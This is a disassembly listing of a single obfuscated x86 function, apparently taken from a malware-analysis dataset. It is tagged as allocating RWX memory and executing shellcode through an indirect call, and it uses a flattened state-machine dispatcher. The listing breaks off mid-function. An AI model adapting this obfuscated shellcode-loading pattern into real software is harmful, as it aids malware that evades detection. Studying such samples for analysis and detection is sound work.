Function at 0x44e670
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x63c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x10c], 0x47a2122
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x118], edx
mov eax, dword [ebp - 0x10c]
mov ecx, eax
sub ecx, 0x7446319d
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x120], ecx
jg 0x44f1d2
jmp 0x44e6c6
mov eax, dword [ebp - 0x11c]
sub eax, 0x6cbe925a
mov dword [ebp - 0x124], eax
jg 0x44f1b6
jmp 0x44e6e2
mov eax, dword [ebp - 0x11c]
sub eax, 0x875878f6
mov dword [ebp - 0x128], eax
jg 0x44e71a
jmp 0x44e6fe
mov eax, dword [ebp - 0x11c]
sub eax, 0x855a5340
mov dword [ebp - 0x12c], eax
je 0x450f96
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x6a28db65
mov dword [ebp - 0x130], eax
jg 0x44f19a
jmp 0x44e736
mov eax, dword [ebp - 0x11c]
sub eax, 0x68eb3f93
mov dword [ebp - 0x134], eax
jg 0x44f17e
jmp 0x44e752
mov eax, dword [ebp - 0x11c]
sub eax, 0x660e0106
mov dword [ebp - 0x138], eax
jg 0x44f162
jmp 0x44e76e
mov eax, dword [ebp - 0x11c]
sub eax, 0x63f7bb6c
mov dword [ebp - 0x13c], eax
jg 0x44f146
jmp 0x44e78a
mov eax, dword [ebp - 0x11c]
sub eax, 0x6307f760
mov dword [ebp - 0x140], eax
jg 0x44f12a
jmp 0x44e7a6
mov eax, dword [ebp - 0x11c]
sub eax, 0x5e2ac6c6
mov dword [ebp - 0x144], eax
jg 0x44f10e
jmp 0x44e7c2
mov eax, dword [ebp - 0x11c]
sub eax, 0x5c181bf8
mov dword [ebp - 0x148], eax
jg 0x44f0f2
jmp 0x44e7de
mov eax, dword [ebp - 0x11c]
sub eax, 0x5414e747
mov dword [ebp - 0x14c], eax
jg 0x44f0d6
jmp 0x44e7fa
mov eax, dword [ebp - 0x11c]
sub eax, 0x52f00f82
mov dword [ebp - 0x150], eax
jg 0x44f0ba
jmp 0x44e816
mov eax, dword [ebp - 0x11c]
sub eax, 0x49ca48c5
mov dword [ebp - 0x154], eax
jg 0x44f09e
jmp 0x44e832
mov eax, dword [ebp - 0x11c]
sub eax, 0x4235066b
mov dword [ebp - 0x158], eax
jg 0x44f082
jmp 0x44e84e
mov eax, dword [ebp - 0x11c]
sub eax, 0x3c7d5e2f
mov dword [ebp - 0x15c], eax
jg 0x44f066
jmp 0x44e86a
mov eax, dword [ebp - 0x11c]
sub eax, 0x383f2b2f
mov dword [ebp - 0x160], eax
jg 0x44f04a
jmp 0x44e886
mov eax, dword [ebp - 0x11c]
sub eax, 0x336c52fb
mov dword [ebp - 0x164], eax
jg 0x44f02e
jmp 0x44e8a2
mov eax, dword [ebp - 0x11c]
sub eax, 0x2c20b9aa
mov dword [ebp - 0x168], eax
jg 0x44f012
jmp 0x44e8be
mov eax, dword [ebp - 0x11c]
sub eax, 0x164374da
mov dword [ebp - 0x16c], eax
jg 0x44eff6
jmp 0x44e8da
mov eax, dword [ebp - 0x11c]
sub eax, 0x14502605
mov dword [ebp - 0x170], eax
jg 0x44efda
jmp 0x44e8f6
mov eax, dword [ebp - 0x11c]
sub eax, 0xccb05c6
mov dword [ebp - 0x174], eax
jg 0x44efbe
jmp 0x44e912
mov eax, dword [ebp - 0x11c]
sub eax, 0xbf7fae0
mov dword [ebp - 0x178], eax
jg 0x44efa2
jmp 0x44e92e
mov eax, dword [ebp - 0x11c]
sub eax, 0xbc86954
mov dword [ebp - 0x17c], eax
jg 0x44ef86
jmp 0x44e94a
mov eax, dword [ebp - 0x11c]
sub eax, 0x69e4e79
mov dword [ebp - 0x180], eax
jg 0x44ef6a
jmp 0x44e966
mov eax, dword [ebp - 0x11c]
sub eax, 0x4a180b6
mov dword [ebp - 0x184], eax
jg 0x44ef4e
jmp 0x44e982
mov eax, dword [ebp - 0x11c]
sub eax, 0x47a2121
mov dword [ebp - 0x188], eax
jg 0x44ef32
jmp 0x44e99e
mov eax, dword [ebp - 0x11c]
sub eax, 0x38062d8
mov dword [ebp - 0x18c], eax
jg 0x44ef16
jmp 0x44e9ba
mov eax, dword [ebp - 0x11c]
sub eax, 0x3298d3f
mov dword [ebp - 0x190], eax
jg 0x44eefa
jmp 0x44e9d6
mov eax, dword [ebp - 0x11c]
sub eax, 0xa3d90
mov dword [ebp - 0x194], eax
jg 0x44eede
jmp 0x44e9f2
mov eax, dword [ebp - 0x11c]
sub eax, 0xfd352167
mov dword [ebp - 0x198], eax
jg 0x44eec2
jmp 0x44ea0e
mov eax, dword [ebp - 0x11c]
sub eax, 0xfc023fe5
mov dword [ebp - 0x19c], eax
jg 0x44eea6
jmp 0x44ea2a
mov eax, dword [ebp - 0x11c]
sub eax, 0xf7f6cc5f
mov dword [ebp - 0x1a0], eax
jg 0x44ee8a
jmp 0x44ea46
mov eax, dword [ebp - 0x11c]
sub eax, 0xf366232e
mov dword [ebp - 0x1a4], eax
jg 0x44ee6e
jmp 0x44ea62
mov eax, dword [ebp - 0x11c]
sub eax, 0xf18e51f2
mov dword [ebp - 0x1a8], eax
jg 0x44ee52
jmp 0x44ea7e
mov eax, dword [ebp - 0x11c]
sub eax, 0xedaee321
mov dword [ebp - 0x1ac], eax
jg 0x44ee36
jmp 0x44ea9a
mov eax, dword [ebp - 0x11c]
sub eax, 0xea8befdf
mov dword [ebp - 0x1b0], eax
jg 0x44ee1a
jmp 0x44eab6
mov eax, dword [ebp - 0x11c]
sub eax, 0xe7031952
mov dword [ebp - 0x1b4], eax
jg 0x44edfe
jmp 0x44ead2
mov eax, dword [ebp - 0x11c]
sub eax, 0xe187c7ec
mov dword [ebp - 0x1b8], eax
jg 0x44ede2
jmp 0x44eaee
mov eax, dword [ebp - 0x11c]
sub eax, 0xd9f55f16
mov dword [ebp - 0x1bc], eax
jg 0x44edc6
jmp 0x44eb0a
mov eax, dword [ebp - 0x11c]
sub eax, 0xcf4f640e
mov dword [ebp - 0x1c0], eax
jg 0x44edaa
jmp 0x44eb26
mov eax, dword [ebp - 0x11c]
sub eax, 0xcec8ba8d
mov dword [ebp - 0x1c4], eax
jg 0x44ed8e
jmp 0x44eb42
mov eax, dword [ebp - 0x11c]
sub eax, 0xc6d2bcc8
mov dword [ebp - 0x1c8], eax
jg 0x44ed72
jmp 0x44eb5e
mov eax, dword [ebp - 0x11c]
sub eax, 0xc658b8a0
mov dword [ebp - 0x1cc], eax
jg 0x44ed56
jmp 0x44eb7a
mov eax, dword [ebp - 0x11c]
sub eax, 0xc55d279b
mov dword [ebp - 0x1d0], eax
jg 0x44ed3a
jmp 0x44eb96
mov eax, dword [ebp - 0x11c]
sub eax, 0xb1486f0f
mov dword [ebp - 0x1d4], eax
jg 0x44ed1e
jmp 0x44ebb2
mov eax, dword [ebp - 0x11c]
sub eax, 0xabb342c2
mov dword [ebp - 0x1d8], eax
jg 0x44ed02
jmp 0x44ebce
mov eax, dword [ebp - 0x11c]
sub eax, 0xaa35669f
mov dword [ebp - 0x1dc], eax
jg 0x44ece6
jmp 0x44ebea
mov eax, dword [ebp - 0x11c]
sub eax, 0x9c7b9e82
mov dword [ebp - 0x1e0], eax
jg 0x44ecca
jmp 0x44ec06
mov eax, dword [ebp - 0x11c]
sub eax, 0x9befff6f
mov dword [ebp - 0x1e4], eax
jg 0x44ecae
jmp 0x44ec22
mov eax, dword [ebp - 0x11c]
sub eax, 0x9b39ee4b
mov dword [ebp - 0x1e8], eax
jg 0x44ec92
jmp 0x44ec3e
mov eax, dword [ebp - 0x11c]
sub eax, 0x875878f7
mov dword [ebp - 0x1ec], eax
je 0x44f4fa
jmp 0x44ec5a
mov eax, dword [ebp - 0x11c]
sub eax, 0x877e353d
mov dword [ebp - 0x1f0], eax
je 0x450ed0
jmp 0x44ec76
mov eax, dword [ebp - 0x11c]
sub eax, 0x8fbbd010
mov dword [ebp - 0x1f4], eax
je 0x450edf
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x9b39ee4c
mov dword [ebp - 0x1f8], eax
je 0x44fdb9
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x9befff70
mov dword [ebp - 0x1fc], eax
je 0x450db2
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x9c7b9e83
mov dword [ebp - 0x200], eax
je 0x44fda9
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xaa3566a0
mov dword [ebp - 0x204], eax
je 0x451f0c
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xabb342c3
mov dword [ebp - 0x208], eax
je 0x450df8
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xb1486f10
mov dword [ebp - 0x20c], eax
je 0x44f56a
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xc55d279c
mov dword [ebp - 0x210], eax
je 0x44f55a
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xc658b8a1
mov dword [ebp - 0x214], eax
je 0x451037
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xc6d2bcc9
mov dword [ebp - 0x218], eax
je 0x44fc91
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xcec8ba8e
mov dword [ebp - 0x21c], eax
je 0x451295
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xcf4f640f
mov dword [ebp - 0x220], eax
je 0x450826
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xd9f55f17
mov dword [ebp - 0x224], eax
je 0x44f51b
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xe187c7ed
mov dword [ebp - 0x228], eax
je 0x45190a
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xe7031953
mov dword [ebp - 0x22c], eax
je 0x44fc76
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xea8befe0
mov dword [ebp - 0x230], eax
je 0x450dcd
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xedaee322
mov dword [ebp - 0x234], eax
je 0x44f4a1
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xf18e51f3
mov dword [ebp - 0x238], eax
je 0x450389
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xf366232f
mov dword [ebp - 0x23c], eax
je 0x44f53f
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xf7f6cc60
mov dword [ebp - 0x240], eax
je 0x450fa5
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xfc023fe6
mov dword [ebp - 0x244], eax
je 0x450ea5
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xfd352168
mov dword [ebp - 0x248], eax
je 0x450f3e
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xa3d91
mov dword [ebp - 0x24c], eax
je 0x44f4d2
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x3298d40
mov dword [ebp - 0x250], eax
je 0x44fe05
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x38062d9
mov dword [ebp - 0x254], eax
je 0x450ec1
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x47a2122
mov dword [ebp - 0x258], eax
je 0x44f1f3
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x4a180b7
mov dword [ebp - 0x25c], eax
je 0x450816
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x69e4e7a
mov dword [ebp - 0x260], eax
je 0x451027
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xbc86955
mov dword [ebp - 0x264], eax
je 0x44fde4
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xbf7fae1
mov dword [ebp - 0x268], eax
je 0x45127a
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0xccb05c7
mov dword [ebp - 0x26c], eax
je 0x451ebf
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x14502606
mov dword [ebp - 0x270], eax
je 0x44feb9
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x164374db
mov dword [ebp - 0x274], eax
je 0x451ea4
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x2c20b9ab
mov dword [ebp - 0x278], eax
je 0x450d91
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x336c52fc
mov dword [ebp - 0x27c], eax
je 0x450ff9
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x383f2b30
mov dword [ebp - 0x280], eax
je 0x450e95
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x3c7d5e30
mov dword [ebp - 0x284], eax
je 0x44fe91
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x4235066c
mov dword [ebp - 0x288], eax
je 0x44fe27
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x49ca48c6
mov dword [ebp - 0x28c], eax
je 0x450774
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x52f00f83
mov dword [ebp - 0x290], eax
je 0x44fd8e
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x5414e748
mov dword [ebp - 0x294], eax
je 0x44f4c2
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x5c181bf9
mov dword [ebp - 0x298], eax
je 0x450807
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x5e2ac6c7
mov dword [ebp - 0x29c], eax
je 0x451008
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x6307f761
mov dword [ebp - 0x2a0], eax
je 0x4502c4
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x63f7bb6d
mov dword [ebp - 0x2a4], eax
je 0x44fc55
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x660e0107
mov dword [ebp - 0x2a8], eax
je 0x44f203
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x68eb3f94
mov dword [ebp - 0x2ac], eax
je 0x4518ef
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x6a28db66
mov dword [ebp - 0x2b0], eax
je 0x450f5d
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x6cbe925b
mov dword [ebp - 0x2b4], eax
je 0x450eef
jmp 0x44f1ee
mov eax, dword [ebp - 0x11c]
sub eax, 0x7446319e
mov dword [ebp - 0x2b8], eax
je 0x450f4d
jmp 0x44f1ee
jmp 0x451f3c
mov eax, 0x660e0107
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0xedaee322
mov ecx, 4
mov dword [ebp - 0x2bc], eax
mov eax, ecx
mov dword [ebp - 0x2c0], ecx
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x2c0]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov edx, dword [ebp - 0x114]
mov dword [eax], edx
mov eax, dword [ebp - 0xfc]
mov esi, dword [ebp - 0x118]
mov dword [eax], esi
mov eax, dword [ebp - 0xf8]
mov dword [eax], 0
mov eax, dword [ebp - 0xf4]
mov dword [eax], 0
mov eax, dword [ebp - 0xf0]
mov dword [eax], 0
mov eax, dword [ebp - 0xec]
mov dword [eax], 0
mov eax, dword [ebp - 0xe8]
mov dword [eax], 0
mov eax, dword [ebp - 0xe4]
mov dword [eax], 0
mov eax, dword [ebp - 0xe0]
mov dword [eax], 0
mov eax, dword [ebp - 0xdc]
mov dword [eax], 0
mov eax, dword [ebp - 0xd8]
mov dword [eax], 0
mov eax, dword [ebp - 0xc4]
mov dword [eax], 0
mov eax, dword [ebp - 0xc0]
mov dword [eax], 0
mov eax, dword [ebp - 0xfc]
cmp dword [eax], 0
sete bl
and bl, 1
mov byte [ebp - 0xa9], bl
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0x5414e748
mov ecx, 0xf366232f
mov dl, byte [ebp - 0xa9]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0xa3d91
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0x875878f7
mov ecx, dword [ebp - 0x100]
cmp dword [ecx], 0
sete dl
and dl, 1
mov byte [ebp - 0xa8], dl
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0xd9f55f17
mov ecx, 0xf366232f
mov dl, byte [ebp - 0xa8]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0xc55d279c
mov ecx, 0xf366232f
mov edx, dword [ebp - 0x104]
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, dword [ebp - 0x108]
mov dword [eax], 0
mov dword [ebp - 0x10c], 0x69e4e7a
jmp 0x451f3c
mov eax, 0xb1486f10
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0xa4], 0x481a7bf4
mov eax, dword [ebp - 0xa4]
mov ecx, eax
sub ecx, 0x7d8982c3
mov dword [ebp - 0x2c4], eax
mov dword [ebp - 0x2c8], ecx
jg 0x44f9f5
jmp 0x44f5b1
mov eax, dword [ebp - 0x2c4]
sub eax, 0x76b80bcd
mov dword [ebp - 0x2cc], eax
jg 0x44f9d9
jmp 0x44f5cd
mov eax, dword [ebp - 0x2c4]
sub eax, 0x963137f3
mov dword [ebp - 0x2d0], eax
jg 0x44f605
jmp 0x44f5e9
mov eax, dword [ebp - 0x2c4]
sub eax, 0x9043d56e
mov dword [ebp - 0x2d4], eax
je 0x44fb88
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0x5da040f9
mov dword [ebp - 0x2d8], eax
jg 0x44f9bd
jmp 0x44f621
mov eax, dword [ebp - 0x2c4]
sub eax, 0x983dc336
mov dword [ebp - 0x2dc], eax
jg 0x44f659
jmp 0x44f63d
mov eax, dword [ebp - 0x2c4]
sub eax, 0x963137f4
mov dword [ebp - 0x2e0], eax
je 0x44fab2
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0xa3520ee3
mov dword [ebp - 0x2e4], eax
jg 0x44f691
jmp 0x44f675
mov eax, dword [ebp - 0x2c4]
sub eax, 0x983dc337
mov dword [ebp - 0x2e8], eax
je 0x44fa6d
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0xb0dd977f
mov dword [ebp - 0x2ec], eax
jg 0x44f6c9
jmp 0x44f6ad
mov eax, dword [ebp - 0x2c4]
sub eax, 0xa3520ee4
mov dword [ebp - 0x2f0], eax
je 0x44fa4c
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0xd8a8f0ff
mov dword [ebp - 0x2f4], eax
jg 0x44f701
jmp 0x44f6e5
mov eax, dword [ebp - 0x2c4]
sub eax, 0xb0dd9780
mov dword [ebp - 0x2f8], eax
je 0x44fb18
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0xe7b9a543
mov dword [ebp - 0x2fc], eax
jg 0x44f739
jmp 0x44f71d
mov eax, dword [ebp - 0x2c4]
sub eax, 0xd8a8f100
mov dword [ebp - 0x300], eax
je 0x44fc10
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0xee772176
mov dword [ebp - 0x304], eax
jg 0x44f771
jmp 0x44f755
mov eax, dword [ebp - 0x2c4]
sub eax, 0xe7b9a544
mov dword [ebp - 0x308], eax
je 0x44fa7c
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0xf3896139
mov dword [ebp - 0x30c], eax
jg 0x44f7a9
jmp 0x44f78d
mov eax, dword [ebp - 0x2c4]
sub eax, 0xee772177
mov dword [ebp - 0x310], eax
je 0x44fb60
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0xfcafb5c7
mov dword [ebp - 0x314], eax
jg 0x44f7e1
jmp 0x44f7c5
mov eax, dword [ebp - 0x2c4]
sub eax, 0xf389613a
mov dword [ebp - 0x318], eax
je 0x44fb97
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0x2262278
mov dword [ebp - 0x31c], eax
jg 0x44f819
jmp 0x44f7fd
mov eax, dword [ebp - 0x2c4]
sub eax, 0xfcafb5c8
mov dword [ebp - 0x320], eax
je 0x44fbd0
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0x445d376
mov dword [ebp - 0x324], eax
jg 0x44f851
jmp 0x44f835
mov eax, dword [ebp - 0x2c4]
sub eax, 0x2262279
mov dword [ebp - 0x328], eax
je 0x44fad3
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0x3d055ed4
mov dword [ebp - 0x32c], eax
jg 0x44f889
jmp 0x44f86d
mov eax, dword [ebp - 0x2c4]
sub eax, 0x445d377
mov dword [ebp - 0x330], eax
je 0x44fbb2
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0x3e1f58a5
mov dword [ebp - 0x334], eax
jg 0x44f8c1
jmp 0x44f8a5
mov eax, dword [ebp - 0x2c4]
sub eax, 0x3d055ed5
mov dword [ebp - 0x338], eax
je 0x44fc1f
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0x481a7bf3
mov dword [ebp - 0x33c], eax
jg 0x44f8f9
jmp 0x44f8dd
mov eax, dword [ebp - 0x2c4]
sub eax, 0x3e1f58a6
mov dword [ebp - 0x340], eax
je 0x44fb79
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0x57c9b80c
mov dword [ebp - 0x344], eax
jg 0x44f9a1
jmp 0x44f915
mov eax, dword [ebp - 0x2c4]
sub eax, 0x5715f4f5
mov dword [ebp - 0x348], eax
jg 0x44f985
jmp 0x44f931
mov eax, dword [ebp - 0x2c4]
sub eax, 0x481a7bf4
mov dword [ebp - 0x34c], eax
je 0x44fa16
jmp 0x44f94d
mov eax, dword [ebp - 0x2c4]
sub eax, 0x48a76f76
mov dword [ebp - 0x350], eax
je 0x44fb27
jmp 0x44f969
mov eax, dword [ebp - 0x2c4]
sub eax, 0x515641e9
mov dword [ebp - 0x354], eax
je 0x44fbc1
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0x5715f4f6
mov dword [ebp - 0x358], eax
je 0x44fb09
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0x57c9b80d
mov dword [ebp - 0x35c], eax
je 0x44fb51
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0x5da040fa
mov dword [ebp - 0x360], eax
je 0x44fbf7
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0x76b80bce
mov dword [ebp - 0x364], eax
je 0x44fae2
jmp 0x44fa11
mov eax, dword [ebp - 0x2c4]
sub eax, 0x7d8982c4
mov dword [ebp - 0x368], eax
je 0x44fa25
jmp 0x44fa11
jmp 0x44fc1a
mov dword [ebp - 0xa4], 0x7d8982c4
jmp 0x44fc1a
mov eax, dword [ebp - 0xa0]
cmp eax, dword [0x4eb854]
setb cl
and cl, 1
mov byte [ebp - 0x92], cl
mov dword [ebp - 0xa4], 0xa3520ee4
jmp 0x44fc1a
mov eax, 0x57c9b80d
mov ecx, 0x983dc337
mov dl, byte [ebp - 0x92]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x44fc1a
mov dword [ebp - 0xa4], 0xe7b9a544
jmp 0x44fc1a
lea eax, [0x4eb4b8]
imul ecx, dword [ebp - 0xa0], 0xc
add eax, ecx
mov eax, dword [eax + 4]
cmp eax, dword [ebp - 0x9c]
sete dl
and dl, 1
mov byte [ebp - 0x91], dl
mov dword [ebp - 0xa4], 0x963137f4
jmp 0x44fc1a
mov eax, 0xb0dd9780
mov ecx, 0x2262279
mov dl, byte [ebp - 0x91]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x44fc1a
mov dword [ebp - 0xa4], 0x76b80bce
jmp 0x44fc1a
lea eax, [0x4eb4b8]
imul ecx, dword [ebp - 0xa0], 0xc
add eax, ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0xa4], 0x5715f4f6
jmp 0x44fc1a
mov dword [ebp - 0xa4], 0x9043d56e
jmp 0x44fc1a
mov dword [ebp - 0xa4], 0x48a76f76
jmp 0x44fc1a
mov eax, dword [ebp - 0xa0]
sub eax, 0x199f746b
add eax, 1
add eax, 0x199f746b
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xa4], 0x481a7bf4
jmp 0x44fc1a
mov dword [ebp - 0xa4], 0xee772177
jmp 0x44fc1a
mov dword [ebp - 0x98], 0
mov dword [ebp - 0xa4], 0x3e1f58a6
jmp 0x44fc1a
mov dword [ebp - 0xa4], 0x9043d56e
jmp 0x44fc1a
mov dword [ebp - 0xa4], 0xf389613a
jmp 0x44fc1a
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0xa4], 0x3d055ed5
jmp 0x44fc1a
mov dword [ebp - 0xa4], 0x7d8982c4
jmp 0x44fc1a
mov dword [ebp - 0xa4], 0xe7b9a544
jmp 0x44fc1a
lea eax, [0x4eb4b8]
imul ecx, dword [ebp - 0xa0], 0xc
add eax, ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0xa4], 0x76b80bce
jmp 0x44fc1a
mov dword [ebp - 0x98], 0
mov dword [ebp - 0xa4], 0xee772177
jmp 0x44fc1a
mov dword [ebp - 0xa4], 0xf389613a
jmp 0x44f58c
mov eax, 0x63f7bb6d
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0xf4]
mov dword [edx], ecx
mov ecx, dword [ebp - 0xf4]
cmp dword [ecx], 0
sete bl
and bl, 1
mov byte [ebp - 0xa7], bl
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, 0xc6d2bcc9
mov ecx, 0xe7031953
mov dl, byte [ebp - 0xa7]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x451f3c
mov eax, dword [ebp - 0x108]
mov dword [eax], 0
mov dword [ebp - 0x10c], 0x69e4e7a
jmp 0x451f3c
lea eax, [0x4eb858]
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx]
add eax, dword [ecx]
